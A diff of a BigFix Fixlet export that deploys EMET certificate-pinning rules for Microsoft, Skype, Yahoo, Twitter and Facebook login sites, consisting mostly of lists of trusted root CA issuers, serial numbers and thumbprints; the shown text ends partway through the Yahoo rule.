-          <UniqueCertificateIdentifier>
-            <Issuer>CN=VeriSign Universal Root Certification Authority, OU="(c) 2008 VeriSign, Inc. - For authorized use only", OU=VeriSign Trust Network, O="VeriSign, Inc.", C=US</Issuer>
-            <SerialNumber>401AC46421B31321030EBBE4121AC51D</SerialNumber>
-            <PublicKeyHash>B677FA6948479F5312D5C2EA07327607D1970719</PublicKeyHash>
-            <Thumbprint>3679CA35668772304D30A5FB873B0FA77BB70D54</Thumbprint>
-          </UniqueCertificateIdentifier>
-        </ReferencedCertificates>
-        <Expiration>09/01/2017 00:00:00</Expiration>
-      </PinRule>
-      <PinRule>
-        <ID>{{1d1e83d9-f876-49ab-bbd6-14c3c7dd6338}</ID>
-        <Name>YahooCA</Name>
-        <ReferencedCertificates>
-          <UniqueCertificateIdentifier>
-            <Issuer>CN=GTE CyberTrust Global Root, OU="GTE CyberTrust Solutions, Inc.", O=GTE Corporation, C=US</Issuer>
-            <SerialNumber>01A5</SerialNumber>
-            <PublicKeyHash>A60C1D9F61FF0717B5BF3846DB4330D58EB05206</PublicKeyHash>
-            <Thumbprint>97817950D81C9670CC34D809CF794431367EF474</Thumbprint>
-          </UniqueCertificateIdentifier>
-          <UniqueCertificateIdentifier>
-            <Issuer>CN=DigiCert High Assurance EV Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US</Issuer>
-            <SerialNumber>02AC5C266A0B409B8F0B79F2AE462577</SerialNumber>
-            <PublicKeyHash>B13EC36903F8BF4701D498261A0802EF63642BC3</PublicKeyHash>
-            <Thumbprint>5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25</Thumbprint>
-          </UniqueCertificateIdentifier>
-          <UniqueCertificateIdentifier>
-            <Issuer>CN=GeoTrust Global CA, O=GeoTrust Inc., C=US</Issuer>
-            <SerialNumber>023456</SerialNumber>
-            <PublicKeyHash>00F92AC34191B6C9C2B83E55F2C0971113A00720</PublicKeyHash>
-            <Thumbprint>DE28F4A4FFE5B92FA3C503D1A349A7F9962A8212</Thumbprint>
-          </UniqueCertificateIdentifier>
-          <UniqueCertificateIdentifier>
-            <Issuer>Certificate not in current root store</Issuer>
-            <SerialNumber>Thumbprint A9E9780814375888F20519B06D2B0D2B6016907D</SerialNumber>
-            <PublicKeyHash>Certificate not in current root store</PublicKeyHash>
-            <Thumbprint>A9E9780814375888F20519B06D2B0D2B6016907D</Thumbprint>
-          </UniqueCertificateIdentifier>
-          <UniqueCertificateIdentifier>
-            <Issuer>CN=GeoTrust Primary Certification Authority, O=GeoTrust Inc., C=US</Issuer>
-            <SerialNumber>18ACB56AFD69B6153A636CAFDAFAC4A1</SerialNumber>
-            <PublicKeyHash>2CD5504197158BF08F36615B4AFB6BD999C93392</PublicKeyHash>
-            <Thumbprint>323C118E1BF7B8B65254E2E2100DD6029037F096</Thumbprint>
-          </UniqueCertificateIdentifier>
-          <UniqueCertificateIdentifier>
-            <Issuer>CN=GeoTrust Primary Certification Authority - G3, OU=(c) 2008 GeoTrust Inc. - For authorized use only, O=GeoTrust Inc., C=US</Issuer>
-            <SerialNumber>15AC6E9419B2794B41F627A9C3180F1F</SerialNumber>
-            <PublicKeyHash>C479CA8EA14E031D1CDC6BDB315B943E3F307F2D</PublicKeyHash>
-            <Thumbprint>039EEDB80BE7A03C6953893B20D2D9323A4C2AFD</Thumbprint>
-          </UniqueCertificateIdentifier>
-          <UniqueCertificateIdentifier>
-            <Issuer>Certificate not in current root store</Issuer>
-            <SerialNumber>Thumbprint E621F3354379059A4B68309D8A2F74221587EC79</SerialNumber>
-            <PublicKeyHash>Certificate not in current root store</PublicKeyHash>
-            <Thumbprint>E621F3354379059A4B68309D8A2F74221587EC79</Thumbprint>
-          </UniqueCertificateIdentifier>
-          <UniqueCertificateIdentifier>
-            <Issuer>Certificate not in current root store</Issuer>
-            <SerialNumber>Thumbprint 204285DCF7EB764195578E136BD4B7D1E98E46A5</SerialNumber>
-            <PublicKeyHash>Certificate not in current root store</PublicKeyHash>
-            <Thumbprint>204285DCF7EB764195578E136BD4B7D1E98E46A5</Thumbprint>
-          </UniqueCertificateIdentifier>
-          <UniqueCertificateIdentifier>
-            <Issuer>Certificate not in current root store</Issuer>
-            <SerialNumber>Thumbprint 61EF43D77FCAD46151BC98E0C35912AF9FEB6311</SerialNumber>
-            <PublicKeyHash>Certificate not in current root store</PublicKeyHash>
-            <Thumbprint>61EF43D77FCAD46151BC98E0C35912AF9FEB6311</Thumbprint>
-          </UniqueCertificateIdentifier>
-          <UniqueCertificateIdentifier>
-            <Issuer>Certificate not in current root store</Issuer>
-            <SerialNumber>Thumbprint 85371CA6E550143DCE2803471BDE3A09E8F8770F</SerialNumber>
-            <PublicKeyHash>Certificate not in current root store</PublicKeyHash>
-            <Thumbprint>85371CA6E550143DCE2803471BDE3A09E8F8770F</Thumbprint>
-          </UniqueCertificateIdentifier>
-          <UniqueCertificateIdentifier>
-            <Issuer>CN=VeriSign Class 3 Public Primary Certification Authority - G3, OU="(c) 1999 VeriSign, Inc. - For authorized use only", OU=VeriSign Trust Network, O="VeriSign, Inc.", C=US</Issuer>
-            <SerialNumber>009B7E0649A33E62B9D5EE90487129EF57</SerialNumber>
-            <PublicKeyHash>F0115C20ABF0D0FE3D0842EF9571E372C11C1256</PublicKeyHash>
-            <Thumbprint>132D0D45534B6997CDB2D5C339E25576609B5CC6</Thumbprint>
-          </UniqueCertificateIdentifier>
-          <UniqueCertificateIdentifier>
-            <Issuer>CN=VeriSign Class 3 Public Primary Certification Authority - G5, OU="(c) 2006 VeriSign, Inc. - For authorized use only", OU=VeriSign Trust Network, O="VeriSign, Inc.", C=US</Issuer>
-            <SerialNumber>18DAD19E267DE8BB4A2158CDCC6B3B4A</SerialNumber>
-            <PublicKeyHash>7FD365A7C2DDECBBF03009F34339FA02AF333133</PublicKeyHash>
-            <Thumbprint>4EB6D578499B1CCF5F581EAD56BE3D9B6744A5E5</Thumbprint>
-          </UniqueCertificateIdentifier>
-          <UniqueCertificateIdentifier>
-            <Issuer>CN=VeriSign Universal Root Certification Authority, OU="(c) 2008 VeriSign, Inc. - For authorized use only", OU=VeriSign Trust Network, O="VeriSign, Inc.", C=US</Issuer>
-            <SerialNumber>401AC46421B31321030EBBE4121AC51D</SerialNumber>
-            <PublicKeyHash>B677FA6948479F5312D5C2EA07327607D1970719</PublicKeyHash>
-            <Thumbprint>3679CA35668772304D30A5FB873B0FA77BB70D54</Thumbprint>
-          </UniqueCertificateIdentifier>
-        </ReferencedCertificates>
-        <Expiration>09/01/2017 00:00:00</Expiration>
-      </PinRule>
-    </PinRules>
-    <PinnedSites>
-      <PinnedSite>
-        <Domain>login.microsoftonline.com</Domain>
-        <PinRuleMember>{{7c7b8b00-ea88-423c-9635-d4f92159aae7}</PinRuleMember>
-        <Active>True</Active>
-      </PinnedSite>
-      <PinnedSite>
-        <Domain>secure.skype.com</Domain>
-        <PinRuleMember>{{7c7b8b00-ea88-423c-9635-d4f92159aae7}</PinRuleMember>
-        <Active>True</Active>
-      </PinnedSite>
-      <PinnedSite>
-        <Domain>www.facebook.com</Domain>
-        <PinRuleMember>{{cb1e584f-4ad0-4c6f-9239-317d4a07d24c}</PinRuleMember>
-        <Active>True</Active>
-      </PinnedSite>
-      <PinnedSite>
-        <Domain>login.yahoo.com</Domain>
-        <PinRuleMember>{{1d1e83d9-f876-49ab-bbd6-14c3c7dd6338}</PinRuleMember>
-        <Active>True</Active>
-      </PinnedSite>
-      <PinnedSite>
-        <Domain>login.live.com</Domain>
-        <PinRuleMember>{{7c7b8b00-ea88-423c-9635-d4f92159aae7}</PinRuleMember>
-        <Active>True</Active>
-      </PinnedSite>
-      <PinnedSite>
-        <Domain>login.skype.com</Domain>
-        <PinRuleMember>{{7c7b8b00-ea88-423c-9635-d4f92159aae7}</PinRuleMember>
-        <Active>True</Active>
-      </PinnedSite>
-      <PinnedSite>
-        <Domain>twitter.com</Domain>
-        <PinRuleMember>{{d9766177-1512-4c48-84e5-e95e44663eed}</PinRuleMember>
-        <Active>True</Active>
-      </PinnedSite>
-    </PinnedSites>
-  </Pinning>
-</EMET>
-_end_
-
-move __createfile defaults.xml
-
-waithidden "{parameter "emetconfexe"}" --import defaults.xml]]></ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - EMET Rules - Enable Default Cert Pinning Mitigations - Windows
+  ID       : 20801
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-06-07T06:30:33
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - EMET Rules - Enable Default Cert Pinning Mitigations - Windows</Title>
+    <Description><![CDATA[<P>This policy sets the default Certificate Pinning Mitigations within EMET. Specifically it configures certificate pinning for the following sites:</P>
+<P>login.live.com<BR>login.microsoftonline.com<BR>login.skype.com<BR>login.yahoo.com<BR>secure.skype.com<BR>twitter.com<BR>facebook.com</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists file &quot;emet_conf.exe&quot; of folder whose (name of it starts with &quot;EMET&quot;) of program files x32 folder</Relevance>
+    <Relevance><![CDATA[(version of file "emet_conf.exe" of folder whose (name of it starts with "EMET") of program files x32 folder) > "5.5.0.0" as version]]></Relevance>
+    <Relevance>(set of names of values of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\EMET\CertPinning\Rules&quot; of native registry) != set of (&quot;FacebookCA&quot;;&quot;MicrosoftAccountCA&quot;;&quot;TwitterCA&quot;;&quot;YahooCA&quot;)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-06-06</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Enter your action script here
+
+parameter "emetconfexe"="{pathname of file "emet_conf.exe" of folder whose (name of it starts with "EMET") of program files x32 folder}"
+
+delete __createfile
+delete defaults.xml
+
+createfile until _end_
+<?xml version="1.0"?>
+<EMET Version="5.5.5871.31890">
+  <Pinning>
+    <PinRules>
+      <PinRule>
+        <ID>{{d9766177-1512-4c48-84e5-e95e44663eed}</ID>
+        <Name>TwitterCA</Name>
+        <ReferencedCertificates>
+          <UniqueCertificateIdentifier>
+            <Issuer>CN=GeoTrust Global CA, O=GeoTrust Inc., C=US</Issuer>
+            <SerialNumber>023456</SerialNumber>
+            <PublicKeyHash>00F92AC34191B6C9C2B83E55F2C0971113A00720</PublicKeyHash>
+            <Thumbprint>DE28F4A4FFE5B92FA3C503D1A349A7F9962A8212</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>Certificate not in current root store</Issuer>
+            <SerialNumber>Thumbprint A9E9780814375888F20519B06D2B0D2B6016907D</SerialNumber>
+            <PublicKeyHash>Certificate not in current root store</PublicKeyHash>
+            <Thumbprint>A9E9780814375888F20519B06D2B0D2B6016907D</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>CN=GeoTrust Primary Certification Authority, O=GeoTrust Inc., C=US</Issuer>
+            <SerialNumber>18ACB56AFD69B6153A636CAFDAFAC4A1</SerialNumber>
+            <PublicKeyHash>2CD5504197158BF08F36615B4AFB6BD999C93392</PublicKeyHash>
+            <Thumbprint>323C118E1BF7B8B65254E2E2100DD6029037F096</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>CN=GeoTrust Primary Certification Authority - G3, OU=(c) 2008 GeoTrust Inc. - For authorized use only, O=GeoTrust Inc., C=US</Issuer>
+            <SerialNumber>15AC6E9419B2794B41F627A9C3180F1F</SerialNumber>
+            <PublicKeyHash>C479CA8EA14E031D1CDC6BDB315B943E3F307F2D</PublicKeyHash>
+            <Thumbprint>039EEDB80BE7A03C6953893B20D2D9323A4C2AFD</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>Certificate not in current root store</Issuer>
+            <SerialNumber>Thumbprint E621F3354379059A4B68309D8A2F74221587EC79</SerialNumber>
+            <PublicKeyHash>Certificate not in current root store</PublicKeyHash>
+            <Thumbprint>E621F3354379059A4B68309D8A2F74221587EC79</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>Certificate not in current root store</Issuer>
+            <SerialNumber>Thumbprint 379A197B418545350CA60369F33C2EAF474F2079</SerialNumber>
+            <PublicKeyHash>Certificate not in current root store</PublicKeyHash>
+            <Thumbprint>379A197B418545350CA60369F33C2EAF474F2079</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>Certificate not in current root store</Issuer>
+            <SerialNumber>Thumbprint 204285DCF7EB764195578E136BD4B7D1E98E46A5</SerialNumber>
+            <PublicKeyHash>Certificate not in current root store</PublicKeyHash>
+            <Thumbprint>204285DCF7EB764195578E136BD4B7D1E98E46A5</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>Certificate not in current root store</Issuer>
+            <SerialNumber>Thumbprint 61EF43D77FCAD46151BC98E0C35912AF9FEB6311</SerialNumber>
+            <PublicKeyHash>Certificate not in current root store</PublicKeyHash>
+            <Thumbprint>61EF43D77FCAD46151BC98E0C35912AF9FEB6311</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>Certificate not in current root store</Issuer>
+            <SerialNumber>Thumbprint 85371CA6E550143DCE2803471BDE3A09E8F8770F</SerialNumber>
+            <PublicKeyHash>Certificate not in current root store</PublicKeyHash>
+            <Thumbprint>85371CA6E550143DCE2803471BDE3A09E8F8770F</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>CN=VeriSign Class 3 Public Primary Certification Authority - G3, OU="(c) 1999 VeriSign, Inc. - For authorized use only", OU=VeriSign Trust Network, O="VeriSign, Inc.", C=US</Issuer>
+            <SerialNumber>009B7E0649A33E62B9D5EE90487129EF57</SerialNumber>
+            <PublicKeyHash>F0115C20ABF0D0FE3D0842EF9571E372C11C1256</PublicKeyHash>
+            <Thumbprint>132D0D45534B6997CDB2D5C339E25576609B5CC6</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>CN=VeriSign Class 3 Public Primary Certification Authority - G5, OU="(c) 2006 VeriSign, Inc. - For authorized use only", OU=VeriSign Trust Network, O="VeriSign, Inc.", C=US</Issuer>
+            <SerialNumber>18DAD19E267DE8BB4A2158CDCC6B3B4A</SerialNumber>
+            <PublicKeyHash>7FD365A7C2DDECBBF03009F34339FA02AF333133</PublicKeyHash>
+            <Thumbprint>4EB6D578499B1CCF5F581EAD56BE3D9B6744A5E5</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>CN=VeriSign Universal Root Certification Authority, OU="(c) 2008 VeriSign, Inc. - For authorized use only", OU=VeriSign Trust Network, O="VeriSign, Inc.", C=US</Issuer>
+            <SerialNumber>401AC46421B31321030EBBE4121AC51D</SerialNumber>
+            <PublicKeyHash>B677FA6948479F5312D5C2EA07327607D1970719</PublicKeyHash>
+            <Thumbprint>3679CA35668772304D30A5FB873B0FA77BB70D54</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US</Issuer>
+            <SerialNumber>083BE056904246B1A1756AC95991C74A</SerialNumber>
+            <PublicKeyHash>03DE503556D14CBB66F0A3E21B1BC397B23DD155</PublicKeyHash>
+            <Thumbprint>A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>CN=DigiCert High Assurance EV Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US</Issuer>
+            <SerialNumber>02AC5C266A0B409B8F0B79F2AE462577</SerialNumber>
+            <PublicKeyHash>B13EC36903F8BF4701D498261A0802EF63642BC3</PublicKeyHash>
+            <Thumbprint>5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>CN=DigiCert Assured ID Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US</Issuer>
+            <SerialNumber>0CE7E0E517D846FE8FE560FC1BF03039</SerialNumber>
+            <PublicKeyHash>45EBA2AFF492CB82312D518BA7A7219DF36DC80F</PublicKeyHash>
+            <Thumbprint>0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43</Thumbprint>
+          </UniqueCertificateIdentifier>
+        </ReferencedCertificates>
+        <Expiration>09/01/2017 00:00:00</Expiration>
+      </PinRule>
+      <PinRule>
+        <ID>{{7c7b8b00-ea88-423c-9635-d4f92159aae7}</ID>
+        <Name>MicrosoftAccountCA</Name>
+        <ReferencedCertificates>
+          <UniqueCertificateIdentifier>
+            <Issuer>CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE</Issuer>
+            <SerialNumber>020000B9</SerialNumber>
+            <PublicKeyHash>E59D5930824758CCACFA085436867B3AB5044DF0</PublicKeyHash>
+            <Thumbprint>D4DE20D05E66FC53FE1A50882C78DB2852CAE474</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>CN=VeriSign Class 3 Public Primary Certification Authority - G5, OU="(c) 2006 VeriSign, Inc. - For authorized use only", OU=VeriSign Trust Network, O="VeriSign, Inc.", C=US</Issuer>
+            <SerialNumber>18DAD19E267DE8BB4A2158CDCC6B3B4A</SerialNumber>
+            <PublicKeyHash>7FD365A7C2DDECBBF03009F34339FA02AF333133</PublicKeyHash>
+            <Thumbprint>4EB6D578499B1CCF5F581EAD56BE3D9B6744A5E5</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE</Issuer>
+            <SerialNumber>040000000001154B5AC394</SerialNumber>
+            <PublicKeyHash>607B661A450D97CA89502F7D04CD34A8FFFCFD4B</PublicKeyHash>
+            <Thumbprint>B1BC968BD4F49D622AA89A81F2150152A41D829C</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>CN=GTE CyberTrust Global Root, OU="GTE CyberTrust Solutions, Inc.", O=GTE Corporation, C=US</Issuer>
+            <SerialNumber>01A5</SerialNumber>
+            <PublicKeyHash>A60C1D9F61FF0717B5BF3846DB4330D58EB05206</PublicKeyHash>
+            <Thumbprint>97817950D81C9670CC34D809CF794431367EF474</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>Certificate not in current root store</Issuer>
+            <SerialNumber>Thumbprint 912198EEF23DCAC40939312FEE97DD560BAE49B1</SerialNumber>
+            <PublicKeyHash>Certificate not in current root store</PublicKeyHash>
+            <Thumbprint>912198EEF23DCAC40939312FEE97DD560BAE49B1</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>Certificate not in current root store</Issuer>
+            <SerialNumber>Thumbprint 5F43E5B1BFF8788CAC1CC7CA4A9AC6222BCC34C6</SerialNumber>
+            <PublicKeyHash>Certificate not in current root store</PublicKeyHash>
+            <Thumbprint>5F43E5B1BFF8788CAC1CC7CA4A9AC6222BCC34C6</Thumbprint>
+          </UniqueCertificateIdentifier>
+        </ReferencedCertificates>
+        <Expiration>09/01/2017 00:00:00</Expiration>
+      </PinRule>
+      <PinRule>
+        <ID>{{cb1e584f-4ad0-4c6f-9239-317d4a07d24c}</ID>
+        <Name>FacebookCA</Name>
+        <ReferencedCertificates>
+          <UniqueCertificateIdentifier>
+            <Issuer>CN=DigiCert High Assurance EV Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US</Issuer>
+            <SerialNumber>02AC5C266A0B409B8F0B79F2AE462577</SerialNumber>
+            <PublicKeyHash>B13EC36903F8BF4701D498261A0802EF63642BC3</PublicKeyHash>
+            <Thumbprint>5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>OU=Equifax Secure Certificate Authority, O=Equifax, C=US</Issuer>
+            <SerialNumber>35DEF4CF</SerialNumber>
+            <PublicKeyHash>0F348320A1DA3FD1CB84DC48CBA4D5E19E66841E</PublicKeyHash>
+            <Thumbprint>D23209AD23D314232174E40D7F9D62139786633A</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>Certificate not in current root store</Issuer>
+            <SerialNumber>Thumbprint 7E784A101C8265CC2DE1F16D47B440CAD90A1945</SerialNumber>
+            <PublicKeyHash>Certificate not in current root store</PublicKeyHash>
+            <Thumbprint>7E784A101C8265CC2DE1F16D47B440CAD90A1945</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>CN=GeoTrust Global CA, O=GeoTrust Inc., C=US</Issuer>
+            <SerialNumber>023456</SerialNumber>
+            <PublicKeyHash>00F92AC34191B6C9C2B83E55F2C0971113A00720</PublicKeyHash>
+            <Thumbprint>DE28F4A4FFE5B92FA3C503D1A349A7F9962A8212</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>Certificate not in current root store</Issuer>
+            <SerialNumber>Thumbprint A9E9780814375888F20519B06D2B0D2B6016907D</SerialNumber>
+            <PublicKeyHash>Certificate not in current root store</PublicKeyHash>
+            <Thumbprint>A9E9780814375888F20519B06D2B0D2B6016907D</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>CN=GeoTrust Primary Certification Authority, O=GeoTrust Inc., C=US</Issuer>
+            <SerialNumber>18ACB56AFD69B6153A636CAFDAFAC4A1</SerialNumber>
+            <PublicKeyHash>2CD5504197158BF08F36615B4AFB6BD999C93392</PublicKeyHash>
+            <Thumbprint>323C118E1BF7B8B65254E2E2100DD6029037F096</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>CN=GeoTrust Primary Certification Authority - G3, OU=(c) 2008 GeoTrust Inc. - For authorized use only, O=GeoTrust Inc., C=US</Issuer>
+            <SerialNumber>15AC6E9419B2794B41F627A9C3180F1F</SerialNumber>
+            <PublicKeyHash>C479CA8EA14E031D1CDC6BDB315B943E3F307F2D</PublicKeyHash>
+            <Thumbprint>039EEDB80BE7A03C6953893B20D2D9323A4C2AFD</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>Certificate not in current root store</Issuer>
+            <SerialNumber>Thumbprint E621F3354379059A4B68309D8A2F74221587EC79</SerialNumber>
+            <PublicKeyHash>Certificate not in current root store</PublicKeyHash>
+            <Thumbprint>E621F3354379059A4B68309D8A2F74221587EC79</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>CN=thawte Primary Root CA, OU="(c) 2006 thawte, Inc. - For authorized use only", OU=Certification Services Division, O="thawte, Inc.", C=US</Issuer>
+            <SerialNumber>344ED55720D5EDEC49F42FCE37DB2B6D</SerialNumber>
+            <PublicKeyHash>7B5B45CFAFCECB7AFD31921A6AB6F346EB574850</PublicKeyHash>
+            <Thumbprint>91C6D6EE3E8AC86384E548C299295C756C817B81</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>CN=thawte Primary Root CA - G3, OU="(c) 2008 thawte, Inc. - For authorized use only", OU=Certification Services Division, O="thawte, Inc.", C=US</Issuer>
+            <SerialNumber>600197B746A7EAB4B49AD64B2FF790FB</SerialNumber>
+            <PublicKeyHash>AD6CAA94609CEDE4FFFA3E0A742B6303F7B659BF</PublicKeyHash>
+            <Thumbprint>F18B538D1BE903B6A6F056435B171589CAF36BF2</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>Certificate not in current root store</Issuer>
+            <SerialNumber>Thumbprint 85371CA6E550143DCE2803471BDE3A09E8F8770F</SerialNumber>
+            <PublicKeyHash>Certificate not in current root store</PublicKeyHash>
+            <Thumbprint>85371CA6E550143DCE2803471BDE3A09E8F8770F</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>CN=VeriSign Class 3 Public Primary Certification Authority - G3, OU="(c) 1999 VeriSign, Inc. - For authorized use only", OU=VeriSign Trust Network, O="VeriSign, Inc.", C=US</Issuer>
+            <SerialNumber>009B7E0649A33E62B9D5EE90487129EF57</SerialNumber>
+            <PublicKeyHash>F0115C20ABF0D0FE3D0842EF9571E372C11C1256</PublicKeyHash>
+            <Thumbprint>132D0D45534B6997CDB2D5C339E25576609B5CC6</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>CN=VeriSign Class 3 Public Primary Certification Authority - G5, OU="(c) 2006 VeriSign, Inc. - For authorized use only", OU=VeriSign Trust Network, O="VeriSign, Inc.", C=US</Issuer>
+            <SerialNumber>18DAD19E267DE8BB4A2158CDCC6B3B4A</SerialNumber>
+            <PublicKeyHash>7FD365A7C2DDECBBF03009F34339FA02AF333133</PublicKeyHash>
+            <Thumbprint>4EB6D578499B1CCF5F581EAD56BE3D9B6744A5E5</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>CN=VeriSign Universal Root Certification Authority, OU="(c) 2008 VeriSign, Inc. - For authorized use only", OU=VeriSign Trust Network, O="VeriSign, Inc.", C=US</Issuer>
+            <SerialNumber>401AC46421B31321030EBBE4121AC51D</SerialNumber>
+            <PublicKeyHash>B677FA6948479F5312D5C2EA07327607D1970719</PublicKeyHash>
+            <Thumbprint>3679CA35668772304D30A5FB873B0FA77BB70D54</Thumbprint>
+          </UniqueCertificateIdentifier>
+        </ReferencedCertificates>
+        <Expiration>09/01/2017 00:00:00</Expiration>
+      </PinRule>
+      <PinRule>
+        <ID>{{1d1e83d9-f876-49ab-bbd6-14c3c7dd6338}</ID>
+        <Name>YahooCA</Name>
+        <ReferencedCertificates>
+          <UniqueCertificateIdentifier>
+            <Issuer>CN=GTE CyberTrust Global Root, OU="GTE CyberTrust Solutions, Inc.", O=GTE Corporation, C=US</Issuer>
+            <SerialNumber>01A5</SerialNumber>
+            <PublicKeyHash>A60C1D9F61FF0717B5BF3846DB4330D58EB05206</PublicKeyHash>
+            <Thumbprint>97817950D81C9670CC34D809CF794431367EF474</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>CN=DigiCert High Assurance EV Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US</Issuer>
+            <SerialNumber>02AC5C266A0B409B8F0B79F2AE462577</SerialNumber>
+            <PublicKeyHash>B13EC36903F8BF4701D498261A0802EF63642BC3</PublicKeyHash>
+            <Thumbprint>5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>CN=GeoTrust Global CA, O=GeoTrust Inc., C=US</Issuer>
+            <SerialNumber>023456</SerialNumber>
+            <PublicKeyHash>00F92AC34191B6C9C2B83E55F2C0971113A00720</PublicKeyHash>
+            <Thumbprint>DE28F4A4FFE5B92FA3C503D1A349A7F9962A8212</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>Certificate not in current root store</Issuer>
+            <SerialNumber>Thumbprint A9E9780814375888F20519B06D2B0D2B6016907D</SerialNumber>
+            <PublicKeyHash>Certificate not in current root store</PublicKeyHash>
+            <Thumbprint>A9E9780814375888F20519B06D2B0D2B6016907D</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>CN=GeoTrust Primary Certification Authority, O=GeoTrust Inc., C=US</Issuer>
+            <SerialNumber>18ACB56AFD69B6153A636CAFDAFAC4A1</SerialNumber>
+            <PublicKeyHash>2CD5504197158BF08F36615B4AFB6BD999C93392</PublicKeyHash>
+            <Thumbprint>323C118E1BF7B8B65254E2E2100DD6029037F096</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>CN=GeoTrust Primary Certification Authority - G3, OU=(c) 2008 GeoTrust Inc. - For authorized use only, O=GeoTrust Inc., C=US</Issuer>
+            <SerialNumber>15AC6E9419B2794B41F627A9C3180F1F</SerialNumber>
+            <PublicKeyHash>C479CA8EA14E031D1CDC6BDB315B943E3F307F2D</PublicKeyHash>
+            <Thumbprint>039EEDB80BE7A03C6953893B20D2D9323A4C2AFD</Thumbprint>
+          </UniqueCertificateIdentifier>
